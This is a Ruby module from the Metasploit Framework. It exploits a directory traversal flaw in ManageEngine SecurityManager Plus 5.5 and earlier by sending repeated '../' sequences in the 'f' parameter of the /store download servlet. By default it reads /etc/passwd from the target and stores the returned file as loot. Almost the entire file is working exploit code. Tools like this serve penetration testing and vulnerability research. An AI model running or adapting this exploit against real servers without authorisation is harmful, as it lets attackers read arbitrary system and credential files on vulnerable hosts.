##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ManageEngine SecurityManager Plus 5.5 Directory Traversal',
			'Description'    => %q{
					This module exploits a directory traversal flaw found in ManageEngine
				SecurityManager Plus 5.5 or less.  When handling a file download request,
				the DownloadServlet class fails to properly check the 'f' parameter, which
				can be abused to read any file outside the virtual directory.
			},
			'References'     =>
				[
					['OSVDB', '86563'],
					['EDB', '22092']
				],
			'Author'         =>
				[
					'blkhtc0rp',  #Original
					'sinn3r'
				],
			'License'        => MSF_LICENSE,
			'DisclosureDate' => "Oct 19 2012"
		))

		register_options(
			[
				OptPort.new('RPORT',       [true, 'The target port', 6262]),
				OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
				OptString.new('FILE',      [true, 'The file to obtain', '/etc/passwd']),
				OptInt.new('DEPTH',        [true, 'The max traversal depth to root directory', 10])
			], self.class)
	end


	def run_host(ip)
		base = normalize_uri(target_uri.path)
		base << '/' if base[-1,1] != '/'

		peer = "#{ip}:#{rport}"
		fname = datastore['FILE']

		print_status("#{peer} - Reading '#{datastore['FILE']}'")
		traverse = "../" * datastore['DEPTH']
		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => "#{base}store",
			'vars_get' => {
				'f' => "#{traverse}#{datastore['FILE']}"
			}
		})


		if res and res.code == 500 and res.body =~ /Error report/
			print_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
			print_error("\t1. File does not exist.")
			print_error("\t2. The server does not have any patches deployed.")
			print_error("\t3. Your 'DEPTH' option isn't deep enough.")
			print_error("\t4. Some kind of permission issues.")

		elsif res and res.code == 200
			data = res.body
			p = store_loot(
				'manageengine.securitymanager',
				'application/octet-stream',
				ip,
				data,
				fname
			)

			vprint_line(data)
			print_good("#{peer} - #{fname} stored as '#{p}'")

		else
			print_error("#{peer} - Fail to obtain file for some unknown reason")
		end
	end

end
